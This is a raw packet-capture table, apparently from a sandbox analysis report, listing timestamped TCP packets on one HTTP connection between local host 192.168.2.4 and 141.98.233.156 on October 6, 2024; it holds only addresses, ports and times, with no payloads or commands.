Oct 6, 2024 22:33:10.135963917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135978937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135994911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136019945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136044979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136075020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136090994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136106014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136128902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136152029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136276007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136291027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136311054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136327028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136332989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136343002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136356115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136358023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136375904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136383057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136392117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136406898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136406898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.136431932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.136456966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.228029013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228044987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228056908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228070974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228099108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.228135109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.228146076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228157997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228171110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228182077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.228199005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.228210926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.228241920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.230875969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.230931044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.230941057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.230978966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.230988979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.230998993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231009007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231018066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231044054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231060982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231112957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231123924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231177092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231220961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231231928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231266975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231352091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231362104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231370926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231379986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231398106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231403112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231408119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231421947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231448889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231542110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231549978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231578112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231595039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231616020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231626034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231659889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231705904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231717110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231725931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231735945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.231766939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231766939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.231779099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233129025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233160973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233170986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233176947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233191013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233210087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233266115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233277082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233285904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233295918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233310938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233326912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233335972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233417034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233428001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233438015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233448982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233449936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233458042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233462095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233474016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233483076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233503103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233649969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233660936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233669996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233680964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233690023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233699083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233700037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233706951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233724117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233737946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233772993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233812094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233843088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233854055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233864069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233875990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233879089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233885050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233891964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.233925104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233941078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.233941078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234314919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234324932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234333992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234344006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234354973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234364986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234374046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234378099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234390974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234394073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234404087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234426975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234467983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234478951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234488010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234497070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234507084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234513044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234517097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234528065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234530926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234539032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234540939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234551907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234560966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234563112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234571934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234581947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234587908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234595060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234600067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234605074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234610081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234618902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234633923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234647036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234896898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234908104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234931946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234949112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.234954119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234965086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.234973907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235008955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235027075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235099077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235117912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235135078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235151052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235162020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235167980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235172987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235184908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235197067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235232115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235233068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235233068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235389948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235409021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235421896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235459089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235481024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235491037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235527992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235563040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235574007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235584974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235596895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235608101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235618114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235644102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235805988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235816956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235826969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235836983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235847950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235855103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235860109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235871077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235874891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235882998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235886097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235894918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235907078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.235913038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235935926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.235954046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.236099958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.236110926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.236120939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.236133099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.236140013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.236144066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.236150026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.236155987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.236164093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.236187935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.236213923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.314542055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314555883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314562082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314565897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314572096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314575911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314582109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314587116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.314888000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.317224026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317235947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317245007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317395926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.317442894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317461014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317471981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317481041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317491055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317517996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317527056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317620039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317630053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317640066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317648888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317653894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317667961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.317698956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.317821980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317835093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317879915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.317909002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317923069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317931890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317941904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.317949057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.317974091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.318074942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.318085909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.318094969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.318125010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.318140984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319370985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319406986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319416046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319430113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319461107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319514036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319525003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319535017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319546938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319559097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319580078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319607019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319618940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319658041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319767952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319777966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319787025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319807053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319809914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319818974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319829941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319832087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319839001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319849968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319859982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319885969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.319947958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319958925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319968939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319979906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.319993973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320018053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320091009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320102930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320113897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320125103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320149899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320250988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320261955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320271969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320281029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320283890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320298910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320353031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320458889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320470095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320483923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320493937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320503950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320514917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320524931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320533037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320534945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320547104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320555925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320559025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320574045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320590973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320727110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320735931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320744991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320756912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320769072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320780039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320794106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320820093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320883036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320894957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320904970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320914984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320925951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320929050 CEST	49741	80	192.168.2.4	141.98.233.156
